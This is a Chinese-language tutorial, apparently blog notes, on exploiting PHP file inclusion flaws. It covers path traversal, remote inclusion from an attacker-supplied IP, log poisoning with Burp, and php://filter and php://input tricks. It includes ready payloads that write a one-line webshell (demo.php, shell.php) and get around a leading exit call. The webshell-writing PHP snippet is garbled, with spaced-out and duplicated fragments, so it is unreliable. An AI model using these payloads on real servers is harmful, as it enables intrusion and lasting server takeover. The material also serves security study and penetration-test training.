什么是文件包含?
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含
几个文件包含函数及特点
include函数
当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。
include_once函数
功能与include()相同,但程序只调用一次
require函数
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。
require_once函数
功能与require()相同,但程序只调用一次
常见的文件包含漏洞代码
这样就可以去读取一个文件
payload: ?filename=xxx.xxx
一般是使用相对路径
相对当前文件的另一个文件的位置
…/即前往上一级
要回到根目录可以使用多个…/
本地文件包含
被包含的文件在服务器本地
利用方式
包含本地敏感文件, 上传文件
远程文件包含
利用方式
包含远程攻击者指定远程url文件
被包含的文件在远程服务端
要php.ini配置为允许远程包含
5.x版本之后默认为关闭状态
若要进行远程文件包含测试
在php.ini中修改allow_url_include=On
远程文件包含payload: ?page=xxx.xxx.xxx.xxx/phpinfo.php
xxx为你要远程包含的ip地址
远程包含写入一句话木马
"; m y f i l e = f o p e n ( ′ d e m o . p h p ′ , ′ w ′ ) o r d i e ( " C a n ′ t O p e n T h e F i l e " ) ; f w r i t e ( myfile = fopen('demo.php','w') or die("Can't Open The File"); fwrite( myfile=fopen(′demo.php′,′w′)ordie("Can′tOpenTheFile");fwrite(myfile, $payload);
fclose();
?>
并且将其包含
即可创建
demo.php
XSS可以配合文件包含漏洞进行信息获取
即输入进入文件时会将<>进行url编码
我们使用burp进行抓包
将url编码改回来
forward
即可在访问日志时查看到信息
文件利用方式php://filter协议
=php://filter/convert.base64-encode/resource=index.php
有时候即使我们成功包含一句话木马
但因为exit使得后面的信息无法当作php进行处理
这个时候我们可以将前面的信息做base64加密
在后面写入时再进行base64解密
txt=aPD9waHAgcGhwaW5mbygpOz8+
a是前面需要加的一个字符
加a的原因是phpexit为7个字符
而php解码为4个byte一组
php在进行解码时遇到不在其中的字符时会选择跳过该字符
后面的时php一句话木马base64加密后的结果
最后我们进行解密
filename=php://filter/write=convert.base64-decode/resource=shell.php
也可以用string_strip_tags去除死亡exit
exp:
txt=PD9waHAgcGhwaW5mbygpOz8+ && filename=php://filter/write=string_strip_tags|convert.base64-decode/resource=shell.php
这种方法可以不用到a
php://input
")?>这个操作要配置allow_url_include=On
其他的还有zip:// bzip2:// zlib://
zip://[压缩文件绝对路径]#压缩文件内的子文件名
bzip2://[压缩文件绝对路径]#压缩文件内的子文件名
zlip://[压缩文件绝对路径]#压缩文件内的子文件名
因为要使用到绝对路径
所以使用到的情况较少